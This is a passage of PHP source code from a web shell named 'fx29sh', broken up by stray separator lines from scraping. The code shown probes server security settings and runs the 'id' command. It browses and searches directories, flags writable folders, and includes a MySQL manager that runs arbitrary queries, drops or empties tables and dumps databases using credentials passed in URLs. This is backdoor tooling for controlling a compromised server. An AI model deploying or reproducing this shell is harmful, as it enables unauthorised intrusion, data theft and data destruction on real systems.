$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</
|
||
b> <br>".$sql_query_error."<br>";}
|
||
|
||
if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
|
||
|
||
if ((!$submit) or ($sql_act)) {
|
||
|
||
echo "<table border=0><tr><td><form name=\"fx29sh_sqlquery\"
|
||
method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really
|
||
want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=
|
||
sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br>
|
||
<br><input type=hidden name=act value=sql><input type=hidden name=sql_act
|
||
value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars
|
||
($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=
|
||
hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input
|
||
type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\
|
||
"></form></td>";
|
||
|
||
if ($tbl_struct) {
|
||
|
||
echo "<td valign=\"top\"><b>Fields:</b><br>";
|
||
|
||
foreach ($tbl_struct as $field) {$name = $field["Field"]; echo
|
||
"+ <a href=\"#\" onclick=\"document.fx29sh_sqlquery.sql_query.value+='
|
||
`".$name."`';\"><b>".$name."</b></a><br>";}
|
||
|
||
echo "</td></tr></table>";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if ($sql_query_result or (!$sql_confirm)) {$sql_query =
|
||
$sql_last_query;}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if (!function_exists("mysql_create_db")) {
|
||
|
||
function mysql_create_db($db,$sock="") {
|
||
|
||
$sql = "CREATE DATABASE `".addslashes($db)."`;";
|
||
|
||
if ($sock) {return mysql_query($sql,$sock);}
|
||
|
||
else {return mysql_query($sql);}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if (!function_exists("mysql_query_parse")) {
|
||
|
||
function mysql_query_parse($query) {
|
||
|
||
$query = trim($query);
|
||
|
||
$arr = explode (" ",$query);
|
||
|
||
$types = array(
|
||
|
||
"SELECT"=>array(3,1),
|
||
|
||
"SHOW"=>array(2,1),
|
||
|
||
"DELETE"=>array(1),
|
||
|
||
"DROP"=>array(1)
|
||
|
||
);
|
||
|
||
$result = array();
|
||
|
||
$op = strtoupper($arr[0]);
|
||
|
||
if (is_array($types[$op])) {
|
||
|
||
$result["propertions"] = $types[$op];
|
||
|
||
$result["query"] = $query;
|
||
|
||
if ($types[$op] == 2) {
|
||
|
||
foreach($arr as $k=>$v) {
|
||
|
||
if (strtoupper($v) == "LIMIT") {
|
||
|
||
$result["limit"] = $arr[$k+1];
|
||
|
||
$result["limit"] = explode(",",$result["limit"]);
|
||
|
||
if (count($result["limit"]) == 1) {$result["limit"] = array
|
||
(0,$result["limit"][0]);}
|
||
|
||
unset($arr[$k],$arr[$k+1]);
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
else {return FALSE;}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if (!function_exists("fx29fsearch")) {
|
||
|
||
function fx29fsearch($d) {
|
||
|
||
global $found;
|
||
|
||
global $found_d;
|
||
|
||
global $found_f;
|
||
|
||
global $search_i_f;
|
||
|
||
global $search_i_d;
|
||
|
||
global $a;
|
||
|
||
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .=
|
||
DIRECTORY_SEPARATOR;}
|
||
|
||
$h = opendir($d);
|
||
|
||
while (($f = readdir($h)) !== FALSE) {
|
||
|
||
if($f != "." && $f != "..") {
|
||
|
||
$bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !==
|
||
FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
|
||
|
||
if (is_dir($d.$f)) {
|
||
|
||
$search_i_d++;
|
||
|
||
if (empty($a["text"]) and $bool) {$found[] = $d.$f;
|
||
$found_d++;}
|
||
|
||
if (!is_link($d.$f)) {fx29fsearch($d.$f);}
|
||
|
||
}
|
||
|
||
else {
|
||
|
||
$search_i_f++;
|
||
|
||
if ($bool) {
|
||
|
||
if (!empty($a["text"])) {
|
||
|
||
$r = @file_get_contents($d.$f);
|
||
|
||
if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])."
|
||
";}
|
||
|
||
if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]);
|
||
$r = strtolower($r);}
|
||
|
||
if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
|
||
|
||
else {$bool = strpos(" ".$r,$a["text"],1);}
|
||
|
||
if ($a["text_not"]) {$bool = !$bool;}
|
||
|
||
if ($bool) {$found[] = $d.$f; $found_f++;}
|
||
|
||
}
|
||
|
||
else {$found[] = $d.$f; $found_f++;}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
closedir($h);
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if ($act == "gofile") {
|
||
|
||
if (is_dir($f)) { $act = "ls"; $d = $f; }
|
||
|
||
else { $act = "f"; $d = dirname($f); $f = basename($f); }
|
||
|
||
}
|
||
|
||
//Sending Headers
|
||
|
||
@ob_start();
|
||
|
||
@ob_implicit_flush(0);
|
||
|
||
function onphpshutdown() {
|
||
|
||
global $gzipencode,$ft;
|
||
|
||
if (!headers_sent() and $gzipencode and !in_array($ft,array
|
||
("img","download","notepad"))) {
|
||
|
||
$v = @ob_get_contents();
|
||
|
||
@ob_end_clean();
|
||
|
||
@ob_start("ob_gzHandler");
|
||
|
||
echo $v;
|
||
|
||
@ob_end_flush();
|
||
|
||
}
|
||
|
||
}
|
||
|
||
function fx29shexit() {
|
||
|
||
onphpshutdown();
|
||
|
||
exit;
|
||
|
||
}
|
||
|
||
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
|
||
|
||
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
|
||
|
||
header("Cache-Control: no-store, no-cache, must-revalidate");
|
||
|
||
header("Cache-Control: post-check=0, pre-check=0", FALSE);
|
||
|
||
header("Pragma: no-cache");
|
||
|
||
//Setting Temporary Dir
|
||
|
||
if (empty($tmpdir)) {
|
||
|
||
$tmpdir = ini_get("upload_tmp_dir");
|
||
|
||
if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
|
||
|
||
}
|
||
|
||
$tmpdir = realpath($tmpdir);
|
||
|
||
$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
|
||
|
||
if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .=
|
||
DIRECTORY_SEPARATOR;}
|
||
|
||
if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
|
||
|
||
else {$tmpdir_logs = realpath($tmpdir_logs);}
|
||
|
||
//Getting Status
|
||
|
||
function showdisablefunctions() {
|
||
|
||
if ($disablefunc=@ini_get("disable_functions")){ return "<font color=
|
||
#FF9900><b>".$disablefunc."</b></font>"; }
|
||
|
||
else { return "<font color=#00FF00><b>NONE</b></b></font>"; }
|
||
|
||
}
|
||
|
||
//Getting Safe Mode Status
|
||
|
||
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
|
||
{
|
||
|
||
$safemode = TRUE;
|
||
|
||
$hsafemode = "<font color=#3366FF><b>SAFE MODE is ON</b></font>";
|
||
|
||
}
|
||
|
||
else {
|
||
|
||
$safemode = FALSE;
|
||
|
||
$hsafemode = "<font color=#FF9900><b>SAFE MODE is OFF</b></font>";
|
||
|
||
}
|
||
|
||
$v = @ini_get("open_basedir");
|
||
|
||
if ($v or strtolower($v) == "on") {
|
||
|
||
$openbasedir = TRUE;
|
||
|
||
$hopenbasedir = "<font color=red>".$v."</font>";
|
||
|
||
}
|
||
|
||
else {
|
||
|
||
$openbasedir = FALSE;
|
||
|
||
$hopenbasedir = "<font color=green>OFF (not secure)</font>";
|
||
|
||
}
|
||
|
||
$sort = htmlspecialchars($sort);
|
||
|
||
if (empty($sort)) {$sort = $sort_default;}
|
||
|
||
$sort[1] = strtolower($sort[1]);
|
||
|
||
$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
|
||
|
||
if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE))
|
||
{$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
|
||
|
||
$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\
|
||
"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></
|
||
b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
|
||
|
||
@ini_set("highlight.bg",$highlight_bg);
|
||
|
||
@ini_set("highlight.comment",$highlight_comment);
|
||
|
||
@ini_set("highlight.default",$highlight_default);
|
||
|
||
@ini_set("highlight.html",$highlight_html);
|
||
|
||
@ini_set("highlight.keyword",$highlight_keyword);
|
||
|
||
@ini_set("highlight.string",$highlight_string);
|
||
|
||
if (!is_array($actbox)) { $actbox = array(); }
|
||
|
||
$dspact = $act = htmlspecialchars($act);
|
||
|
||
$disp_fullpath = $ls_arr = $notls = null;
|
||
|
||
$ud = urlencode($d);
|
||
|
||
//Directory
|
||
|
||
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
|
||
|
||
if (empty($d)) {$d = realpath(".");}
|
||
|
||
elseif(realpath($d)) {$d = realpath($d);}
|
||
|
||
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
|
||
|
||
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
|
||
|
||
$d = str_replace("\\\\","\\",$d);
|
||
|
||
$dispd = htmlspecialchars($d);
|
||
|
||
|
||
|
||
/****************/
|
||
|
||
/** HTML START **/
|
||
|
||
/****************/
|
||
|
||
|
||
|
||
echo htmlhead($sh_ver);
|
||
|
||
echo "<table id=pagebar><tr><td width=50%><p>\n".
|
||
|
||
"$hsafemode<br>\n".
|
||
|
||
"Software : ".$DISP_SERVER_SOFTWARE ."<br>\n".
|
||
|
||
"Os : ".php_uname()."<br>\n";
|
||
|
||
if (!$win) { echo "User ID : ".fx29exec("id"); }
|
||
|
||
else { echo "User : " . get_current_user(); }
|
||
|
||
echo "\n</p></td>\n".
|
||
|
||
"<td width=50%><p>\n".
|
||
|
||
"Server IP : <a href=\"http://ws.arin.net/cgi-bin/whois.pl?
|
||
queryinput=".gethostbyname($_SERVER["HTTP_HOST"])."\">".gethostbyname
|
||
($_SERVER["HTTP_HOST"])."</a> ".
|
||
|
||
"Your IP : ".$_SERVER["REMOTE_ADDR"]."<br>\n";
|
||
|
||
if($win){ echo "Drives : ".disp_drives($d,$surl)."<br>\n"; }
|
||
|
||
echo "Freespace : ".disp_freespace($d)."\n";
|
||
|
||
echo "</p></td></tr>\n";
|
||
|
||
echo "<tr><td colspan=2><p>\n";
|
||
|
||
echo get_status()."<br>\n";
|
||
|
||
echo "Disabled Functions: ".showdisablefunctions()."\n";
|
||
|
||
echo "</td></tr>\n";
|
||
|
||
echo "<tr><td colspan=2 id=mainmenu>\n";
|
||
|
||
if (count($quicklaunch2) > 0) {
|
||
|
||
foreach($quicklaunch2 as $item) {
|
||
|
||
$item[1] = str_replace("%d",urlencode($d),$item[1]);
|
||
|
||
$item[1] = str_replace("%sort",$sort,$item[1]);
|
||
|
||
$v = realpath($d."..");
|
||
|
||
if (empty($v)) {
|
||
|
||
$a = explode(DIRECTORY_SEPARATOR,$d);
|
||
|
||
unset($a[count($a)-2]);
|
||
|
||
$v = join(DIRECTORY_SEPARATOR,$a);
|
||
|
||
}
|
||
|
||
$item[1] = str_replace("%upd",urlencode($v),$item[1]);
|
||
|
||
echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
echo "</td>\n".
|
||
|
||
"<tr><td colspan=2 id=mainmenu>\n";
|
||
|
||
if (count($quicklaunch1) > 0) {
|
||
|
||
foreach($quicklaunch1 as $item) {
|
||
|
||
$item[1] = str_replace("%d",urlencode($d),$item[1]);
|
||
|
||
$item[1] = str_replace("%sort",$sort,$item[1]);
|
||
|
||
$v = realpath($d."..");
|
||
|
||
if (empty($v)) {
|
||
|
||
$a = explode(DIRECTORY_SEPARATOR,$d);
|
||
|
||
unset($a[count($a)-2]);
|
||
|
||
$v = join(DIRECTORY_SEPARATOR,$a);
|
||
|
||
}
|
||
|
||
$item[1] = str_replace("%upd",urlencode($v),$item[1]);
|
||
|
||
echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
echo "</td></tr>\n<tr><td colspan=2>";
|
||
|
||
echo "<p class=fleft>\n";
|
||
|
||
$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
|
||
|
||
$i = 0;
|
||
|
||
foreach($pd as $b) {
|
||
|
||
$t = ""; $j = 0;
|
||
|
||
foreach ($e as $r) {
|
||
|
||
$t.= $r.DIRECTORY_SEPARATOR;
|
||
|
||
if ($j == $i) { break; }
|
||
|
||
$j++;
|
||
|
||
}
|
||
|
||
echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\">
|
||
<font color=yellow>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</font></a>\
|
||
n";
|
||
|
||
$i++;
|
||
|
||
}
|
||
|
||
echo " - ";
|
||
|
||
if (is_writable($d)) {
|
||
|
||
$wd = TRUE;
|
||
|
||
$wdt = "<font color=#00FF00>[OK]</font>";
|
||
|
||
echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
|
||
|
||
}
|
||
|
||
else {
|
||
|
||
$wd = FALSE;
|
||
|
||
$wdt = "<font color=red>[Read-Only]</font>";
|
||
|
||
echo "<b>".view_perms_color($d)."</b>";
|
||
|
||
}
|
||
|
||
echo "\n</p>\n";
|
||
|
||
?>
|
||
|
||
<div class=fright>
|
||
|
||
<form method="POST"><input type=hidden name=act value="ls">
|
||
|
||
Directory: <input type="text" name="d" size="50" value="<?php echo
|
||
$dispd; ?>"> <input type=submit value="Go">
|
||
|
||
</form>
|
||
|
||
</div>
|
||
|
||
</td></tr></table>
|
||
|
||
<?php
|
||
|
||
/***********************/
|
||
|
||
/** INFORMATION TABLE **/
|
||
|
||
/***********************/
|
||
|
||
echo "<table id=maininfo><tr><td width=\"100%\">\n";
|
||
|
||
if ($act == "") { $act = $dspact = "ls"; }
|
||
|
||
if ($act == "sql") {
|
||
|
||
$sql_surl = $surl."act=sql";
|
||
|
||
if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars
|
||
($sql_login);}
|
||
|
||
if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars
|
||
($sql_passwd);}
|
||
|
||
if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars
|
||
($sql_server);}
|
||
|
||
if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars
|
||
($sql_port);}
|
||
|
||
if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
|
||
|
||
$sql_surl .= "&";
|
||
|
||
echo "<h4>Attention! MySQL Manager is <u>NOT</u> a ready module! Don't
|
||
reports bugs.</h4>".
|
||
|
||
"<table>".
|
||
|
||
"<tr><td width=\"100%\" colspan=2 class=barheader>";
|
||
|
||
if ($sql_server) {
|
||
|
||
$sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login,
|
||
$sql_passwd);
|
||
|
||
$err = mysql_smarterror();
|
||
|
||
@mysql_select_db($sql_db,$sql_sock);
|
||
|
||
if ($sql_query and $submit) {$sql_query_result = mysql_query
|
||
($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
|
||
|
||
}
|
||
|
||
else {$sql_sock = FALSE;}
|
||
|
||
echo ".: SQL Manager :.<br>";
|
||
|
||
if (!$sql_sock) {
|
||
|
||
if (!$sql_server) {echo "NO CONNECTION";}
|
||
|
||
else {echo "Can't connect! ".$err;}
|
||
|
||
}
|
||
|
||
else {
|
||
|
||
$sqlquicklaunch = array();
|
||
|
||
$sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=
|
||
".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars
|
||
($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=
|
||
".htmlspecialchars($sql_port)."&");
|
||
|
||
$sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=
|
||
".urlencode($sql_tbl));
|
||
|
||
$sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=
|
||
".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars
|
||
($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=
|
||
".htmlspecialchars($sql_port)."&sql_act=serverstatus");
|
||
|
||
$sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login
|
||
=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars
|
||
($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=
|
||
".htmlspecialchars($sql_port)."&sql_act=servervars");
|
||
|
||
$sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=
|
||
".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars
|
||
($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=
|
||
".htmlspecialchars($sql_port)."&sql_act=processes");
|
||
|
||
$sqlquicklaunch[] = array("Logout",$surl."act=sql");
|
||
|
||
echo "MySQL ".mysql_get_server_info()." (proto
|
||
v.".mysql_get_proto_info ().") running in ".htmlspecialchars
|
||
($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars
|
||
($sql_login)."@".htmlspecialchars($sql_server)." (password - \
|
||
"".htmlspecialchars($sql_passwd)."\")<br>";
|
||
|
||
if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item)
|
||
{echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
|
||
|
||
}
|
||
|
||
echo "</td></tr><tr>";
|
||
|
||
if (!$sql_sock) {
|
||
|
||
echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is
|
||
null, login is owner of process.<li>If host is null, host is localhost</b>
|
||
<li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1
|
||
valign=\"top\">";
|
||
|
||
echo "<table width=\"100%\" border=0><tr><td><b>Please, fill the
|
||
form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>
|
||
Database</b></td></tr><form action=\" $surl \" method=\"POST\"><input type=
|
||
\"hidden\" name=\"act\" value=\"sql\"><tr><td><input type=\"text\" name=\
|
||
"sql_login\" value=\"root\" maxlength=\"64\"></td><td><input type=\
|
||
"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\"></td><td><input
|
||
type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\"></td></tr><tr>
|
||
<td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input
|
||
type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\"></
|
||
td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\
|
||
" size=\"3\"></td><td><input type=\"submit\" value=\"Connect\"></td></tr>
|
||
<tr><td></td></tr></form></table></td>";
|
||
|
||
}
|
||
|
||
else {
|
||
|
||
//Start left panel
|
||
|
||
if (!empty($sql_db)) {
|
||
|
||
?><td width="25%" height="100%" valign="top"><a href="<?php echo
|
||
$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=
|
||
".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars
|
||
($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b>
|
||
</a><hr size="1" noshade>
|
||
|
||
<?php
|
||
|
||
$result = mysql_list_tables($sql_db);
|
||
|
||
if (!$result) {echo mysql_smarterror();}
|
||
|
||
else {
|
||
|
||
echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars
|
||
($sql_db)."</b></a> ]---<br>";
|
||
|
||
$c = 0;
|
||
|
||
while ($row = mysql_fetch_array($result)) {$count = mysql_query
|
||
("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count);
|
||
echo "<b>+ <a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."
|
||
&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</
|
||
b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
|
||
|
||
if (!$c) {echo "No tables found in database.";}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
else {
|
||
|
||
?><td width="1" height="100" valign="top"><a href="<?php echo
|
||
$sql_surl; ?>"><b>Home</b></a><hr size="1" noshade>
|
||
|
||
<?php
|
||
|
||
$result = mysql_list_dbs($sql_sock);
|
||
|
||
if (!$result) {echo mysql_smarterror();}
|
||
|
||
else {
|
||
|
||
?><form action="<?php echo $surl; ?>"><input type="hidden" name=
|
||
"act" value="sql"><input type="hidden" name="sql_login" value="<?php echo
|
||
htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd"
|
||
value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden"
|
||
name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
|
||
<input type="hidden" name="sql_port" value="<?php echo htmlspecialchars
|
||
($sql_port); ?>"><select name="sql_db">
|
||
|
||
<?php
|
||
|
||
$c = 0;
|
||
|
||
$dbs = "";
|
||
|
||
while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\
|
||
"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">
|
||
".$row[0]."</option>"; $c++;}
|
||
|
||
echo "<option value=\"\">Databases (".$c.")</option>";
|
||
|
||
echo $dbs;
|
||
|
||
}
|
||
|
||
?></select><hr size="1" noshade>Please, select database<hr size="1"
|
||
noshade><input type="submit" value="Go"></form>
|
||
|
||
<?php
|
||
|
||
}
|
||
|
||
//End left panel
|
||
|
||
echo "</td><td width=\"100%\">";
|
||
|
||
//Start center panel
|
||
|
||
$diplay = TRUE;
|
||
|
||
if ($sql_db) {
|
||
|
||
if (!is_numeric($c)) {$c = 0;}
|
||
|
||
if ($c == 0) {$c = "no";}
|
||
|
||
echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s)
|
||
in this DB (".htmlspecialchars($sql_db).").<br>";
|
||
|
||
if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item)
|
||
{echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
|
||
|
||
echo "</b></center>";
|
||
|
||
$acts = array("","dump");
|
||
|
||
if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach
|
||
($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr
|
||
($sql_query,0,-1).";"; $sql_act = "query";}
|
||
|
||
elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl
|
||
as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
|
||
|
||
elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls =
|
||
$boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act =
|
||
"dump";}
|
||
|
||
elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE";
|
||
foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr
|
||
($sql_query,0,-1).";"; $sql_act = "query";}
|
||
|
||
elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE";
|
||
foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr
|
||
($sql_query,0,-1).";"; $sql_act = "query";}
|
||
|
||
elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE";
|
||
foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr
|
||
($sql_query,0,-1).";"; $sql_act = "query";}
|
||
|
||
elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE";
|
||
foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr
|
||
($sql_query,0,-1).";"; $sql_act = "query";}
|
||
|
||
elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty
|
||
($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else
|
||
{foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."`
|
||
WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act =
|
||
"query";}
|
||
|
||
elseif ($sql_tbl_act == "insert") {
|
||
|
||
if ($sql_tbl_insert_radio == 1) {
|
||
|
||
$keys = "";
|
||
|
||
$akeys = array_keys($sql_tbl_insert);
|
||
|
||
foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
|
||
|
||
if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
|
||
|
||
$values = "";
|
||
|
||
$i = 0;
|
||
|
||
foreach (array_values($sql_tbl_insert) as $v) {if ($funct =
|
||
$sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .=
|
||
"'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", ";
|
||
$i++;}
|
||
|
||
if (!empty($values)) {$values = substr($values,0,strlen
|
||
($values)-2);}
|
||
|
||
$sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES (
|
||
".$values." );";
|
||
|
||
$sql_act = "query";
|
||
|
||
$sql_tbl_act = "browse";
|
||
|
||
}
|
||
|
||
elseif ($sql_tbl_insert_radio == 2) {
|
||
|
||
$set = mysql_buildwhere($sql_tbl_insert,",
|
||
",$sql_tbl_insert_functs);
|
||
|
||
$sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE
|
||
".$sql_tbl_insert_q." LIMIT 1;";
|
||
|
||
$result = mysql_query($sql_query) or print(mysql_smarterror());
|
||
|
||
$result = mysql_fetch_array($result, MYSQL_ASSOC);
|
||
|
||
$sql_act = "query";
|
||
|
||
$sql_tbl_act = "browse";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if ($sql_act == "query") {
|
||
|
||
echo "<hr size=\"1\" noshade>";
|
||
|
||
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!
|
||
$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</
|
||
b> <br>".$sql_query_error."<br>";}
|
||
|
||
if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
|
||
|
||
if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\
|
||
"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\
|
||
"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";}
|
||
else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\"
|
||
cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br>
|
||
<br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\
|
||
"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input
|
||
type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\
|
||
"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\
|
||
" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\">
|
||
</form></td></tr></table>";}
|
||
|
||
}
|
||
|
||
if (in_array($sql_act,$acts)) {
|
||
|
||
?><table border="0" width="100%" height="1"><tr><td width="30%"
|
||
height="1"><b>Create new table:</b>
|
||
|
||
<form action="<?php echo $surl; ?>">
|
||
|
||
<input type="hidden" name="act" value="sql">
|
||
|
||
<input type="hidden" name="sql_act" value="newtbl">
|
||
|
||
<input type="hidden" name="sql_db" value="<?php echo
|
||
htmlspecialchars($sql_db); ?>">
|
||
|
||
<input type="hidden" name="sql_login" value="<?php echo
|
||
htmlspecialchars($sql_login); ?>">
|
||
|
||
<input type="hidden" name="sql_passwd" value="<?php echo
|
||
htmlspecialchars($sql_passwd); ?>">
|
||
|
||
<input type="hidden" name="sql_server" value="<?php echo
|
||
htmlspecialchars($sql_server); ?>">
|
||
|
||
<input type="hidden" name="sql_port" value="<?php echo
|
||
htmlspecialchars($sql_port); ?>">
|
||
|
||
<input type="text" name="sql_newtbl" size="20">
|
||
|
||
<input type="submit" value="Create">
|
||
|
||
</form></td>
|
||
|
||
<td width="30%" height="1"><b>Dump DB:</b>
|
||
|
||
<form action="<?php echo $surl; ?>">
|
||
|
||
<input type="hidden" name="act" value="sql">
|
||
|
||
<input type="hidden" name="sql_act" value="dump">
|
||
|
||
<input type="hidden" name="sql_db" value="<?php echo
|
||
htmlspecialchars($sql_db); ?>">
|
||
|
||
<input type="hidden" name="sql_login" value="<?php echo
|
||
htmlspecialchars($sql_login); ?>">
|
||
|
||
<input type="hidden" name="sql_passwd" value="<?php echo
|
||
htmlspecialchars($sql_passwd); ?>">
|
||
|
||
<input type="hidden" name="sql_server" value="<?php echo
|
||
htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port"
|
||
value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name=
|
||
"dump_file" size="30" value="<?php echo "dump_".getenv
|
||
("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"><input type
|
||
="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height=
|
||
"1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height=
|
||
"1"></td><td width="30%" height="1"></td></tr></table>
|
||
|
||
<?php
|
||
|
||
if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
|
||
|
||
